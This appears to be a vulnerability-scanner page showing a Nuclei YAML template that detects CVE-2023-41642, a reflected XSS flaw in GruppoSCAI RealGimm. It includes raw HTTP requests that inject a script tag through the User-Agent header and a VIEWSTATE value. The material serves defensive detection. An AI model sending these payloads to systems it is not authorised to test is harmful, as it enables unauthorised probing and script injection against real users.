RealGimm by GruppoSCAI v1.1.37p38 - Cross-Site Scripting

ID: CVE-2023-41642

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,realgimm,xss,grupposcai

Description

Multiple reflected cross-site scripting (XSS) vulnerabilities in the ErroreNonGestito.aspx component of GruppoSCAI RealGimm 1.1.37p38 allow attackers to execute arbitrary Javascript in the context of a victim user’s browser via a crafted payload injected into the VIEWSTATE parameter.

YAML Source

id: CVE-2023-41642

info:
  name: RealGimm by GruppoSCAI v1.1.37p38 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Multiple reflected cross-site scripting (XSS) vulnerabilities in the ErroreNonGestito.aspx component of GruppoSCAI RealGimm 1.1.37p38 allow attackers to execute arbitrary Javascript in the context of a victim user's browser via a crafted payload injected into the VIEWSTATE parameter.
  reference:
    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/main/CVE%20PoC/CVE-ID%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-41642
    - https://github.com/CapgeminiCisRedTeam/Disclosure/blob/f7aafa9fcd4efa30071c7f77d3e9e6b14e92302b/CVE%20PoC/CVE-2023-41642%20%7C%20RealGimm%20%20-%20Reflected%20Cross-site%20Scripting.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-41642
    cwe-id: CWE-79
    epss-score: 0.00069
    epss-percentile: 0.29886
    cpe: cpe:2.3:a:grupposcai:realgimm:1.1.37:p38:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: grupposcai
    product: realgimm
  tags: cve,cve2023,realgimm,xss,grupposcai

http:
  - raw:
      - |
        POST /RealGimmWeb/Pages/Sistema/LogObjectTrace.aspx HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: </span><script>alert(document.domain)</script>

        __EVENTTARGET=T1bPulsantiera&EVENTARGUMENT=TlbPulsantiera_Item_0%3AUP&___VIEWSTATE='TESTING&LeftArea%3ALeftMenu_hidden=&T1bPulsantiera_CancelClick=false&TlbPulsantiera_hidden=&cbUtente=&txtDataRichiestaDa=&txtDataRichiestaA=&TopArea%3ATopMenu=
      - |
        GET /RealGimmWeb/Pages/ErroreNonGestito.aspx HTTP/1.1
        Host: {{Hostname}}
        User-Agent: </span><script>alert(document.domain)</script>

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<script>alert(document.domain)</script>'
          - 'Invalid_Viewstate'
        condition: and

      - type: word
        part: header_2
        words:
          - text/html
# digest: 4b0a004830460221009b0eefcfd037440f8206d84f815edb51889f5463aad7c3d347c67145fafa292a022100cd2c3d11c1dd357a3588fc52c0460600fda9b6f87bad1fbd9c98800efb9fd228:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-41642.yaml"

View on Github